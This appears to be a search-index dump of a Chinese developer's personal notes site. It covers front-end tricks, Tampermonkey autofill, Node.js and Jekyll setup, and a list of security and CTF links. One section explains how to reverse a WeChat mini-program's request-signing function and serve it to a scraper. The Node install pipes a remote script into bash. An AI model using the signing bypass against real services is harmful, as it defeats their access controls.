<li>\\u9996\\u5148\\u628a\\u56fe\\u7247\\u53d8\\u621040x22\\u5927\\u5c0f\\uff0c\\u8fd9\\u4e2a\\u76f4\\u63a5\\u7528Windows\\u81ea\\u5e26\\u7684\\u753b\\u56fe\\u5de5\\u5177\\u5373\\u53ef\\u5b8c\\u6210</li> <li>\\u7136\\u540e\\u4e22\\u7ed9tinyjpg.com\\u518d\\u538b\\u7f29\\u4e00\\u4e0b</li> <li>\\u7528<code>base64 -w0 &lt; x.jpg</code>\\u83b7\\u53d6\\u56fe\\u7247\\u7684base64\\u6587\\u672c</li> <li>\\u653e\\u5165\\u4e0b\\u8ff0svg\\u4e2d\\uff0c\\u518d\\u4ea4\\u7ed9\\u8fd9\\u4e2asvg encoder: https://codepen.io/yoksel/details/JDqvs/</li> </ol> <pre><code>&lt;svg xmlns=\\\"http://www.w3.org/2000/svg\\\"\\nxmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\nwidth=\\\"1500\\\" height=\\\"823\\\"\\nviewBox=\\\"0 0 1500 823\\\"&gt;\\n&lt;filter id=\\\"blur\\\" filterUnits=\\\"userSpaceOnUse\\\" color-interpolation-filters=\\\"sRGB\\\"&gt;\\n&lt;feGaussianBlur stdDeviation=\\\"20 20\\\" edgeMode=\\\"duplicate\\\" /&gt;\\n&lt;feComponentTransfer&gt;\\n&lt;feFuncA type=\\\"discrete\\\" tableValues=\\\"1 1\\\" /&gt;\\n&lt;/feComponentTransfer&gt;\\n&lt;/filter&gt;\\n&lt;image filter=\\\"url(#blur)\\\"\\nxlink:href=\\\"data:image/jpeg;base64,/9j/4AAQSkZJ ...[truncated]...\\\"\\nx=\\\"0\\\" y=\\\"0\\\"\\nheight=\\\"100%\\\" width=\\\"100%\\\"/&gt;\\n&lt;/svg&gt;\\n</code></pre> <p>\\u6ce8\\u610fencoder\\u8f93\\u51fa\\u7684\\u5185\\u5bb9\\u8fd8\\u8981\\u52a0\\u4e0a<code>charset</code>\\uff0c\\u6700\\u7ec8\\u6548\\u679c\\uff1a</p> <pre><code>background-image: url(data:image/svg+xml;charset=utf-8,%3Csvg...);\\n</code></pre>\"},{\"location\":\"JavaScript/#apost-jquery\",\"title\":\"a\\u94fe\\u63a5\\u6539\\u7528POST\\u8bf7\\u6c42 jQuery\",\"text\":\"<p>\\u53c2\\u8003OneIndex\\uff0c\\u7528POST\\u65b9\\u6cd5\\u8868\\u793a\\u6765\\u81ea\\u6587\\u4ef6\\u5217\\u8868\\u7684\\u70b9\\u51fb\\u53ef\\u4ee5\\u663e\\u793a\\u7f51\\u9875\\uff0c\\u9ed8\\u8ba4\\u7684GET\\u8bf7\\u6c42\\u5219\\u4e0b\\u8f7d\\u6587\\u4ef6</p> <pre><code>    $('.file a').each(function(){\\n        $(this).on('click', function () {\\n            var form = $('&lt;form target=_blank method=post&gt;&lt;/form&gt;').attr('action', $(this).attr('href')).get(0);\\n            $(document.body).append(form);\\n            form.submit();\\n            $(form).remove();\\n            return false;\\n        });\\n    });\\n</code></pre>\"},{\"location\":\"JavaScript/#blob\",\"title\":\"\\u521b\\u5efa\\u4e00\\u4e2a\\u6587\\u4ef6\\u4e0b\\u8f7d Blob\",\"text\":\"<p>\\u53c2\\u8003OneIndex\\u7684<code>downall</code>\\u65b9\\u6cd5</p> <p>Blob\\u6587\\u6863\\uff1ahttps://developer.mozilla.org/zh-CN/docs/Web/API/Blob</p> <p>\\u8fd8\\u53ef\\u4ee5\\u770b\\u770b\\u8fd9\\u7bc7\\uff1ahttps://juejin.im/post/59e35d0e6fb9a045030f1f35</p> <pre><code>     let blob = new Blob([\\\"\\u6587\\u6863\\u5185\\u5bb9\\\"], {\\ntype: 'text/plain'\\n}); // \\u6784\\u9020Blob\\u5bf9\\u8c61\\nlet a = document.createElement('a'); // \\u4f2a\\u9020\\u4e00\\u4e2aa\\u5bf9\\u8c61\\na.href = window.URL.createObjectURL(blob); // \\u6784\\u9020href\\u5c5e\\u6027\\u4e3aBlob\\u5bf9\\u8c61\\u751f\\u6210\\u7684\\u94fe\\u63a5\\na.download = \\\"666.txt\\\"; // \\u6587\\u4ef6\\u540d\\u79f0\\uff0c\\u4f60\\u53ef\\u4ee5\\u6839\\u636e\\u4f60\\u7684\\u9700\\u8981\\u6784\\u9020\\na.click() // \\u6a21\\u62df\\u70b9\\u51fb\\na.remove();\\n</code></pre>\"},{\"location\":\"JavaScript/#_8\",\"title\":\"\\u722c\\u53d6\\u5fae\\u4fe1\\u5c0f\\u7a0b\\u5e8f \\u6735\\u6735\\u6821\\u53cb\\u5708\",\"text\":\"<ol> <li>\\u5728\\u5206\\u8eab\\u7a7a\\u95f4\\u4e2d\\u5b89\\u88c5\\u5fae\\u4fe1\\uff0c\\u4f7f\\u7528HttpCanary\\u6293\\u5230wxapkg\\u7684url</li> <li>\\u7528https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py \\u8fd9\\u4e2a\\u5de5\\u5177\\u5bf9\\u5c0f\\u7a0b\\u5e8f\\u89e3\\u5305</li> <li>\\u641c\\u7d22<code>duo_session</code>\\u5173\\u952e\\u8bcd\\uff0c\\u627e\\u5230\\u5bf9\\u5e94\\u7684util.js\\u7684addSign\\uff0c\\u7528chrome\\u5f00\\u53d1\\u4eba\\u5458\\u5de5\\u5177\\u683c\\u5f0f\\u5316\\u4ee3\\u7801</li> <li>\\u770b\\u4e86\\u770b\\u6574\\u6bb5\\u4ee3\\u7801 \\u633a\\u590d\\u6742\\u7684\\uff0c\\u61d2\\u5f97\\u7528python\\u6539\\u5199\\uff0c\\u5c31\\u4fdd\\u7559\\u539f\\u6837js\\u4f7f\\u7528nodejs\\u8c03\\u7528\\u5427</li> <li>burpsuite\\u9a8c\\u8bc1\\u786e\\u5b9e\\u53ef\\u884c</li> </ol> <p>\\u5047\\u8bbe\\u4f60\\u5df2\\u7ecf\\u6709\\u4e86addSign\\u65b9\\u6cd5 \\u90a3\\u4e48\\u5c31\\u63d0\\u4f9b\\u4e2ahttp\\u670d\\u52a1\\u7ed9python\\u722c\\u866b\\u8c03\\u7528\\u5427\\uff1a</p> <pre><code>var http = require(\\\"http\\\");\\n\\nfunction start(port) {\\nfunction onRequest(request, response) {\\nvar postData = \\\"\\\";\\nrequest.setEncoding(\\\"utf8\\\");\\n\\nrequest.addListener(\\\"data\\\", function(postDataChunk) {\\npostData += postDataChunk;\\n});\\n\\nrequest.addListener(\\\"end\\\", function() {\\n//console.log(postData);\\nconsole.log(\\\"[\\\"+new Date().toLocaleString()+\\\"]\\\", request.connection.remoteAddress);\\nvar data = JSON.parse(postData);\\naddSign(data)\\nresponse.writeHead(200, {\\\"Content-Type\\\": \\\"text/html\\\"});\\nresponse.write(JSON.stringify(data));\\nresponse.end();\\n});\\n}\\n\\nhttp.createServer(onRequest).listen(port);\\nconsole.log(\\\"Server has started.\\\");\\n}\\n\\nstart(8888);\\n</code></pre>\"},{\"location\":\"JavaScript/#_9\",\"title\":\"\\u4fdd\\u6301\\u7279\\u5b9a\\u5143\\u7d20\\u76f8\\u5bf9\\u4e8e\\u7a97\\u53e3\\u7684\\u4f4d\\u7f6e\\u4e0d\\u53d8\",\"text\":\"<p>\\u8003\\u8651\\u8fd9\\u6837\\u4e00\\u4e2a\\u573a\\u666f\\uff1a\\u4e00\\u4e2a\\u5217\\u8868\\uff0c\\u6bcf\\u4e00\\u9879\\u90fd\\u53ef\\u4ee5\\u70b9\\u51fb\\u6765\\u5c55\\u5f00\\u8be6\\u60c5div\\uff0c\\u70b9\\u51fb\\u65f6\\u540c\\u65f6\\u9690\\u85cf\\u5176\\u4ed6\\u7684\\u8be6\\u60c5\\uff08\\u540c\\u4e00\\u65f6\\u523b\\u53ea\\u663e\\u793a\\u4e00\\u4e2a\\uff09</p> <p>\\u53d1\\u73b0\\u4e00\\u4e2abug\\uff1a\\u7279\\u5b9a\\u60c5\\u51b5\\u4e0b\\uff08\\u4e0d\\u660e\\u539f\\u56e0\\uff09\\uff0c\\u7528\\u6237\\u70b9\\u51fb\\u540e\\u9875\\u9762\\u4f4d\\u7f6e\\u53d1\\u751f\\u4e86\\u53d8\\u5316\\uff1a\\u524d\\u9762\\u7684\\u4e00\\u4e2a\\u6bd4\\u8f83\\u957f\\u7684div\\u9690\\u85cf\\u540e\\uff0c\\u5f53\\u524d\\u7684\\u4f4d\\u7f6e\\u8df3\\u5230\\u4e86\\u5f88\\u4e0b\\u9762\\u7684\\u5730\\u65b9\\uff0c\\u9700\\u8981\\u624b\\u52a8\\u7ffb\\u56de\\u53bb\\uff0c\\u7528\\u6237\\u4f53\\u9a8c\\u6781\\u5dee</p> <p>\\u603b\\u800c\\u8a00\\u4e4b\\uff0c\\u8fdb\\u884c\\u4e00\\u4e9b\\u9875\\u9762DOM\\u64cd\\u4f5c\\u540e\\uff0c\\u6211\\u4eec\\u60f3\\u4fdd\\u6301\\u7279\\u5b9a\\u5143\\u7d20\\u76f8\\u5bf9\\u4e8e\\u7a97\\u53e3\\u7684\\u4f4d\\u7f6e\\u4e0d\\u53d8</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u5728\\u5904\\u7406\\u70b9\\u51fbevent\\u65f6\\uff0c\\u5148\\u8bb0\\u5f55event.target\\u76f8\\u5bf9\\u4e8ewindow\\u7684top\\u4f4d\\u7f6e\\uff0c\\u5728\\u8be6\\u60c5div\\u9690\\u85cf\\u4ee5\\u53ca\\u663e\\u793a\\u540e\\u518d\\u6b21\\u8bb0\\u5f55top\\u4f4d\\u7f6e\\uff0c\\u8fd9\\u4e24\\u4e2a\\u4f4d\\u7f6e\\u4e4b\\u95f4\\u7684\\u5dee\\u503c\\u5c31\\u662f\\u9700\\u8981\\u6eda\\u52a8\\u9875\\u9762\\u7684\\u591a\\u5c11</p> <p>\\u5f53\\u8fd9\\u4e2a\\u5dee\\u503c\\u5f88\\u5c0f\\u7684\\u65f6\\u5019\\uff0c\\u53ef\\u4ee5\\u7406\\u89e3\\u4e3a\\u5141\\u8bb8\\u7684\\u8bef\\u5dee\\uff0c\\u5b9e\\u9645\\u6ca1\\u6709\\u53ef\\u89c1\\u7684\\u53d8\\u5316 \\u65e0\\u9700\\u64cd\\u4f5c</p> <pre><code>HTML:\\nonclick=\\\"handle_click(event)\\\"\\n\\nJS:\\nfunction fix_position(et, oldt){\\nvar newt = et.getBoundingClientRect().top;\\nif(Math.abs(oldt-newt)&lt;2) return;\\n$(window).scrollTop($(window).scrollTop()+newt-oldt);\\n}\\n\\nfunction handle_click(event){\\nvar et = event.target;\\nvar oldt = et.getBoundingClientRect().top;\\n//...code for hide and show divs...\\nfix_position(et, oldt); //also include this line to callback function if using ajax\\n}\\n</code></pre>\"},{\"location\":\"JavaScript/#tampermonkey\",\"title\":\"Tampermonkey\\u81ea\\u52a8\\u586b\\u5145\\u7528\\u6237\\u540d\\u5bc6\\u7801\\u8868\\u5355\\uff0c\\u5e76\\u901a\\u8fc7\\u524d\\u7aef\\u7684\\u8868\\u5355\\u68c0\\u67e5\",\"text\":\"<p>\\u611f\\u8c22@CoolSpring\\u7684\\u89e3\\u51b3\\u65b9\\u6848\\uff1a https://v2ex.com/t/701749</p> <p>\\u73b0\\u4ee3\\u5316\\u7684\\u524d\\u7aef\\u505a\\u4e86\\u8868\\u5355\\u68c0\\u67e5\\uff0c\\u76f4\\u63a5\\u5bf9input\\u8d4b\\u503c\\u4e0d\\u80fd\\u901a\\u8fc7\\u68c0\\u67e5\\uff0c\\u9700\\u8981\\u8c03\\u7528\\u88ab\\u91cd\\u8f7d\\u7684setter\\u51fd\\u6570\\uff1a</p> <pre><code>function mytype(input, value){\\nvar nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, \\\"value\\\").set;\\nnativeInputValueSetter.call(input, value);\\ninput.dispatchEvent(new Event('input', {bubbles: true}));\\n}\\n</code></pre> <p>\\u7528\\u6cd5\\uff1a</p> <pre><code>    mytype(document.querySelectorAll(\\\"input\\\")[0], USERNAME);\\n    mytype(document.querySelectorAll(\\\"input\\\")[1], PASSWORD);\\n</code></pre>\"},{\"location\":\"JavaScript/#browserifynpmjs\",\"title\":\"\\u4f7f\\u7528browserify\\u5c06npm\\u5305\\u6253\\u5305\\u6210\\u6d4f\\u89c8\\u5668\\u80fd\\u7528\\u7684js\\u6587\\u4ef6\",\"text\":\"<p>\\u6d4f\\u89c8\\u5668\\u4e0d\\u652f\\u6301require\\uff0c\\u600e\\u4e48\\u5728\\u6d4f\\u89c8\\u5668\\u91cc\\u4f7f\\u7528\\u4e00\\u4e2anpm\\u5305\\u5462\\uff1f browserify</p> <p>\\u793a\\u4f8b\\uff1a\\u6211\\u60f3\\u5728tampermonkey\\u91cc\\u4f7f\\u7528user-event\\u8fd9\\u4e2anpm\\u5305\\uff0c \\u7528\\u6765\\u5b8c\\u6574\\u5730\\u6a21\\u62df\\u7528\\u6237\\u7684\\u4ea4\\u4e92\\uff0c\\u8fd9\\u4e2a\\u5176\\u5b9e\\u662f\\u4e0a\\u4e00\\u4e2a\\u95ee\\u9898\\u7684\\u7b28\\u91cd\\u7248\\u672c\\u7684\\u89e3\\u51b3\\u65b9\\u6848</p> <pre><code># \\u5148\\u5b89\\u88c5\\u76ee\\u6807\\u5e93\\u3001browserify\\u548cterser\\ncnpm install @testing-library/user-event @testing-library/dom --save-dev\\ncnpm i -g browserify terser\\n\\n# \\u5199\\u4e00\\u4e2amain.js\\u5bfc\\u5165\\u8fd9\\u4e2a\\u5e93\\uff0c\\u5bfc\\u51fa\\u5230window\\u91cc\\nvar userEvent = require('@testing-library/user-event');\\nwindow.userEvent = userEvent.default;\\n\\n# \\u6267\\u884c\\u6253\\u5305\\nbrowserify main.js | terser --compress --mangle &gt; bundle.js\\n\\n# \\u5728tampermonkey\\u91cc\\u4f7f\\u7528\\n// @require      \\u4e0a\\u4f20\\u5230cdn\\u540e\\u7684js\\u5730\\u5740\\nuserEvent.type(document.querySelectorAll(\\\"input\\\")[0], USERNAME);\\n</code></pre>\"},{\"location\":\"JavaScript/#ubuntunodejs\",\"title\":\"Ubuntu\\u5b89\\u88c5nodejs\",\"text\":\"<pre><code>curl -fsSL https://deb.nodesource.com/setup_16.x | bash -\\ncurl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | tee /usr/share/keyrings/yarnkey.gpg &gt;/dev/null\\necho \\\"deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main\\\" | tee /etc/apt/sources.list.d/yarn.list\\napt update &amp;&amp; apt install -y nodejs yarn\\n\\nyarn config set registry https://registry.npm.taobao.org -g\\nyarn config set disturl https://npm.taobao.org/dist -g\\nyarn config set electron_mirror https://npm.taobao.org/mirrors/electron/ -g\\nyarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g\\nyarn config set phantomjs_cdnurl https://npm.taobao.org/mirrors/phantomjs/ -g\\nyarn config set chromedriver_cdnurl https://cdn.npm.taobao.org/dist/chromedriver -g\\nyarn config set operadriver_cdnurl https://cdn.npm.taobao.org/dist/operadriver -g\\nyarn config set fse_binary_host_mirror https://npm.taobao.org/mirrors/fsevents -g\\n</code></pre>\"},{\"location\":\"Jekyll/\",\"title\":\"Jekyll\",\"text\":\"<p>\\u76ee\\u524d\\u672c\\u7ad9\\u4f7f\\u7528 <code>Github Pages</code>\\uff0c~~\\u91c7\\u7528<code>Jekyll</code>\\u8f6c\\u6362md\\u4e3ahtml~~\\uff0c\\u6240\\u4ee5\\u6709\\u5fc5\\u8981\\u8bb0\\u5f55\\u4e00\\u4e0b\\u6298\\u817eJekyll\\u7684\\u8fc7\\u7a0b\\u54af</p> <p>\\u66f4\\u65b0\\uff1a\\u76ee\\u524d\\u5df2\\u7ecf\\u4e0d\\u518d\\u4f7f\\u7528Jekyll\\uff0c\\u6539\\u7528mkdocs</p>\"},{\"location\":\"Jekyll/#_1\",\"title\":\"\\u78b0\\u5230\\u8fc7\\u7684\\u5751\",\"text\":\"<ol> <li> <p>jekyll \\u4e0d\\u8ba4 gbk \\u7f16\\u7801\\uff0c\\u5728\\u8f6c\\u6362\\u524d\\u9700\\u8981\\u5148\\u5c06 md \\u6587\\u4ef6\\u7f16\\u7801\\u6539\\u4e3aUTF-8</p> </li> <li> <p>\\u672c\\u5730\\u7f16\\u8bd1\\u901a\\u8fc7\\u4e86\\uff0c\\u4f46Github\\u5c31\\u662f\\u4e0d\\u8ba4\\uff0c\\u4e8e\\u662f\\u5e72\\u8106\\u628a\\u7f16\\u8bd1\\u597d\\u7684html\\u4f5c\\u4e3aGithub Pages</p> </li> <li> <p>\\u8f6c\\u6362\\u7684\\u65f6\\u5019\\u9047\\u5230\\u4e24\\u4e2a\\u5927\\u62ec\\u53f7\\u4e4b\\u95f4\\u7684\\u4e1c\\u897f\\u4f1a\\u81ea\\u52a8\\u7528Liquid\\u6e32\\u67d3\\uff0c\\u5bfc\\u81f4\\u6709\\u4e00\\u6761Docker\\u7684\\u7b14\\u8bb0\\u5c31\\u4e22\\u4e86\\u4e1c\\u897f\\u5e76\\u629b\\u51fa\\u4e86Warning\\uff0c\\u4e4b\\u524d\\u672c\\u7740\\u4e0d\\u6298\\u817e\\u7684\\u539f\\u5219(\\u5c31\\u662f\\u61d2)\\uff0c\\u76f4\\u63a5\\u5199\\u4e86\\u4e2acompile.sh\\u5728jekyll\\u7f16\\u8bd1\\u8fc7\\u540e\\u7528py\\u66ff\\u6362\\u4e86\\u4e00\\u4e0b(\\u771f\\u4e0d\\u4f18\\u96c523333)\\uff1b\\u73b0\\u5728\\u53d1\\u73b0\\u4e86\\u89e3\\u51b3\\u65b9\\u6848\\uff0c\\u53c2\\u89c1\\u672c\\u9875md\\u6587\\u4ef6</p> </li> </ol>\"},{\"location\":\"Jekyll/#_2\",\"title\":\"\\u914d\\u7f6e\\u4ee3\\u7801\\u9ad8\\u4eae\\u5e76\\u663e\\u793a\\u884c\\u53f7\",\"text\":\"<p>\\u4ee3\\u7801\\uff1a</p> <pre><code>{% highlight java linenos %}\\npublic class HelloWorld {\\n    public static void main(String args[]) {\\n      System.out.println(\\\"Hello World!\\\");\\n    }\\n}\\n{% endhighlight %}\\n</code></pre> <p>\\u6548\\u679c\\u5982\\u4e0b\\uff1a(\\u7531\\u4e8e\\u73b0\\u5728\\u5df2\\u7ecf\\u4e0d\\u518d\\u4f7f\\u7528Jekyll\\uff0c\\u6240\\u4ee5\\u770b\\u4e0d\\u51fa\\u4e8623333\\uff09</p> <p>{% highlight java linenos %} public class HelloWorld {     public static void main(String args[]) {       System.out.println(\\u201cHello World!\\u201d);     } } {% endhighlight %}</p>\"},{\"location\":\"Jekyll/#github-metadata-warning\",\"title\":\"\\u89e3\\u51b3Github Metadata Warning\",\"text\":\"<ul> <li>\\u53c2\\u89c1http://mycyberuniverse.com/web/fixing-jekyll-github-metadata-warning.html</li> </ul> <p>\\u5728\\u6267\\u884cbuild\\u6216serve\\u65f6\\uff0c\\u4f1a\\u7ed9\\u51fa\\u8fd9\\u6837\\u7684Warning:</p> <pre><code>GitHub Metadata: No GitHub API authentication could be found. Some fields may be missing or have incorrect data.\\n</code></pre> <p>\\u89e3\\u51b3\\u65b9\\u6cd5\\u8be6\\u7ec6\\u7248\\u8bf7\\u89c1\\u4e0a\\u8ff0\\u94fe\\u63a5\\uff0c\\u7b80\\u8981\\u7248\\uff1a\\u5728Github\\u7684\\u8bbe\\u7f6e\\u4e2d\\u5f97\\u5230\\u4e00\\u4e2a\\u80fd\\u8bbf\\u95ee\\u516c\\u5f00repo\\u7684token\\uff0c\\u7528\\u4ee5\\u4e0b\\u547d\\u4ee4\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u5176\\u4e2dabc123\\u6539\\u4e3a\\u81ea\\u5df1\\u7684token</p> <pre><code>export JEKYLL_GITHUB_TOKEN='abc123'\\n</code></pre>\"},{\"location\":\"Jekyll/#markdown\",\"title\":\"\\u89e3\\u51b3Markdown\\u6709\\u5e8f\\u5217\\u8868\\u88ab\\u6587\\u5b57\\u95f4\\u9694\\u7684\\u95ee\\u9898\",\"text\":\"<p>\\u53c2\\u8003\\uff1a http://stackoverflow.com/questions/18088955/markdown-continue-numbered-list</p> <p>\\u5728\\u51993. \\u4e4b\\u524d\\u52a0\\u5165\\u76f8\\u5e94\\u7684\\u7f16\\u53f7\\u63a7\\u5236\\uff1a</p> <pre><code>{:start=\\\"3\\\"}\\n</code></pre>\"},{\"location\":\"Jekyll/#jekyll_1\",\"title\":\"\\u5b89\\u88c5Jekyll\",\"text\":\"<p>\\u641c\\u7d22jekyll\\u53d1\\u73b0\\u5b98\\u7f51https://jekyllrb.com/</p> <p>\\u5b89\\u88c5\\u8fc7\\u7a0b\\u4e00\\u70b9\\u90fd\\u4e0d\\u7b80\\u5355\\uff0c \\u6211\\u7684\\u7cfb\\u7edf\\u73af\\u5883\\uff1aubuntu16.04 on win10</p> <p>\\u5b89\\u88c5\\u547d\\u4ee4\\u53c2\\u8003\\u5b98\\u7f51\\u53ca\\u56fd\\u5185\\u955c\\u50cf Ruby China\\uff0c\\u8fd8\\u8e29\\u4e86\\u57511, \\u57512</p> <pre><code>apt install -y ruby ruby-dev zlib1g-dev nodejs # \\u5176\\u4e2dzlib\\u662f\\u5b89\\u88c5\\u4f9d\\u8d56nokogiri\\uff08\\u8fd9\\u4e2a\\u4f9d\\u8d56\\u7f16\\u8bd1\\u7279\\u522b\\u6162\\uff09\\u6240\\u5fc5\\u987b\\u7684\\uff0c\\u5176\\u4e2dnodejs\\u662f\\u9700\\u8981\\u7684javascript\\u8fd0\\u884c\\u73af\\u5883\\ngem update --system # \\u8fd9\\u91cc\\u8bf7\\u7ffb\\u5899\\u4e00\\u4e0b\\ngem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/\\ngem install jekyll bundler\\n\\n# \\u914d\\u7f6egithub-pages\\u6240\\u9700\\u7684Gemfile\\uff0c\\u4e5f\\u4f7f\\u7528\\u56fd\\u5185\\u955c\\u50cf\\u6e90\\necho \\\"\\\"\\\"source 'https://gems.ruby-china.org'\\ngem 'github-pages', group: :jekyll_plugins\\\"\\\"\\\"&gt;Gemfile\\nbundle install # \\u8010\\u5fc3\\u7b49\\u5f85\\u7f16\\u8bd1\\n</code></pre>\"},{\"location\":\"Links/\",\"title\":\"Links Share\",\"text\":\"<p>\\u5206\\u4eab\\u4e00\\u4e9bhacker\\u76f8\\u5173\\u7684\\u94fe\\u63a5, \\u5305\\u542b\\u5f00\\u53d1\\u3001\\u5b89\\u5168\\u3001CTF</p> <p>\\u89c9\\u5f97\\u6ca1\\u4e8b\\u5e72\\uff1f \\u4e0d\\u5982\\u6765\\u901b\\u901b\\u8fd9\\u4e9b\\u5730\\u65b9\\u5427\\uff1a</p>\"},{\"location\":\"Links/#_1\",\"title\":\"\\u5f00\\u53d1\\u7c7b\",\"text\":\"<p>Free Programming Books \\u2013 github.com/vhf/free-programming-books \\u2013 \\u7f16\\u7a0b\\u76f8\\u5173\\u7684\\u4e66\\u7c4d</p> <p>\\u7801\\u519c\\u7ffb\\u8eab\\u5fae\\u4fe1\\u6587\\u7ae0 \\u2013 mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw</p> <p>V2EX \\u2013 www.v2ex.com</p> <p>\\u63a8\\u9177 \\u2013 tuicool.com</p> <p>\\u6398\\u91d1 \\u2013 juejin.im</p> <p>PAT \\u2013 patest.cn \\u2013 \\u7c7b\\u4f3c\\u7684\\u8fd8\\u6709ZOJ, Leetcode\\u7b49</p>\"},{\"location\":\"Links/#_2\",\"title\":\"\\u5b89\\u5168\\u6280\\u80fd\",\"text\":\"<p>\\u77e5\\u9053\\u521b\\u5b87\\u7814\\u53d1\\u6280\\u80fd\\u8868 \\u2013 blog.knownsec.com</p> <p>i\\u6625\\u79cb \\u2013 ichunqiu.com</p> <p>\\u5408\\u5929 \\u2013 hetianlab.com</p> <p>\\u5b9e\\u9a8c\\u697c \\u2013 shiyanlou.com</p> <p>\\u4e4c\\u4e91\\u6f0f\\u6d1e\\u5e93\\u955c\\u50cf \\u2013 loner.fm</p> <p>pwnhub \\u2013 pwnhub.cn</p> <p>pwnable \\u2013 pwnable.kr</p> <p>Jarvis OJ \\u2013 jarvisoj.com</p> <p>dnsbllookup \\u2013 dnsbllookup.com \\u67e5\\u8be2ip\\u662f\\u5426\\u5728\\u9ed1\\u540d\\u5355\\u4e2d \\u5176\\u4e2d\\u6709\\u4e24\\u4e2a\\u5df2\\u7ecf\\u57df\\u540d\\u8fc7\\u671f\\u603b\\u662f\\u8fd4\\u56deListed</p>\"},{\"location\":\"Links/#_3\",\"title\":\"\\u5b89\\u5168\\u8d44\\u8baf\",\"text\":\"<p>FreeBuf \\u2013 www.freebuf.com</p> <p>\\u5b89\\u5168\\u5ba2 \\u2013 bobao.360.cn</p> <p>bugs.chromium.org</p>\"},{\"location\":\"Links/#_4\",\"title\":\"\\u4e2a\\u4eba\\u535a\\u5ba2\",\"text\":\"<p>\\u6309\\u5b57\\u6bcd\\u987a\\u5e8f\\u6392\\u5e8f</p> <p>Aploium Blog \\u2013 z.codes</p> <p>Aqua\\u2019s Blog \\u2013 aqua.hk.cn</p> <p>ByStudent \\u2013 bystudent.com</p> <p>\\u706b\\u65e5\\u5c0f\\u7ad9 \\u2013 www.firesun.me</p> <p>free to play - Kira \\u2013 lovekira.cn</p> <p>Jarvis\\u2019s Blog \\u2013 jarviswang.me</p> <p>LeadroyaL\\u2019s website \\u2013 www.leadroyal.cn</p> <p>Melody\\u6709\\u5965\\u5999 \\u2013 melodia.pw</p> <p>notebook \\u2013 py3.io</p> <p>qsboy.com \\u2013 qsboy.com</p> <p>\\u6a31\\u6843\\u56ed \\u2013 sakura.moe</p> <p>Swing\\u2019Blog \\u2013 bestwing.me \\u2013 \\u52aa\\u529b\\u662f\\u4e3a\\u4e86 \\u7ad9\\u5728\\u4e07\\u4eba\\u4e2d\\u592e \\u6210\\u4e3a\\u522b\\u4eba\\u7684\\u5149</p> <p>\\u4fe1\\u946b-King\\u2019s Blog \\u2013 ycjcl.cc</p> <p>850\\u2019s Blog \\u2013 850.world</p>\"},{\"location\":\"Links/#zju\",\"title\":\"ZJU\",\"text\":\"<p>\\u6d59\\u6c5f\\u5927\\u5b66\\u8bfe\\u7a0b\\u653b\\u7565\\u5171\\u4eab\\u8ba1\\u5212 \\u2013 github.com/QSCTech/zju-icicles</p> <p>NexusHD \\u2013 nexushd.org \\u2013 \\u5185\\u7f51pt\\u7ad9\\u70b9\\uff0c\\u9ad8\\u6e05\\u8d44\\u6e90</p> <p>CC98 \\u2013 cc98.org \\u2013 cc98\\u662f\\u652f\\u6301https\\u7684\\u5662</p> <p>\\u6d59\\u5927\\u4e91\\u76d8 \\u2013 pan.zju.edu.cn</p> <p>\\u6c42\\u662f\\u6f6eBox \\u2013 box.zjuqsc.com</p> <p>\\u6559\\u52a1\\u7f51\\u5185\\u7f51\\u7f51\\u5740 \\u2013 10.202.78.12</p> <p>\\u6559\\u52a1\\u7f51\\u7684\\u53cd\\u5411\\u4ee3\\u7406 \\u2013 jw.zjuqsc.com</p> <p>\\u5f00\\u6e90\\u955c\\u50cf\\u7ad9 \\u2013 mirrors.zju.edu.cn</p> <p>\\u7afa\\u9662\\u5b66\\u751f\\u4f1a.\\u5b66\\u4e60\\u8d44\\u6599 \\u2013 ckcsu.com</p> <p>\\u6821\\u62db\\u85aa\\u6c34 \\u2013 ioffershow.com</p>\"},{\"location\":\"Links/#_5\",\"title\":\"\\u670d\\u52a1\\u63d0\\u4f9b\\u5546\",\"text\":\"<p>\\u9999\\u6e2fVPS \\u2013 diyvm.com</p> <p>\\u817e\\u8baf\\u4e91\\u5b66\\u751f\\u4f18\\u60e0 \\u2013 qcloud.com</p> <p>\\u77ed\\u4fe1\\u9a8c\\u8bc1\\u7801 \\u963f\\u91cc\\u5927\\u4e8e \\u2013 alidayu.com</p> <p>\\u79c1\\u6709\\u4ee3\\u7801\\u6258\\u7ba1 \\u2013 coding.net \\u2013 \\u8bbf\\u95ee\\u901f\\u5ea6\\u4f18\\u4e8egithub</p>\"},{\"location\":\"Links/#_6\",\"title\":\"\\u975e\\u6280\\u672f\\u6587\\u7ae0\",\"text\":\"<p>\\u5982\\u4f55\\u51c6\\u5907\\u6280\\u672f\\u7b80\\u5386</p> <p>\\u6280\\u672f\\u9762\\u8bd5\\u6307\\u5357</p> <p>\\u201c\\u4ed6\\u5c71\\u4e4b\\u77f3\\uff0c\\u53ef\\u4ee5\\u653b\\u7389\\u201d\\u2014\\u2014\\u4f60\\u7684\\u5927\\u5b66\\uff0c\\u600e\\u6837\\u8fc7\\uff1f</p> 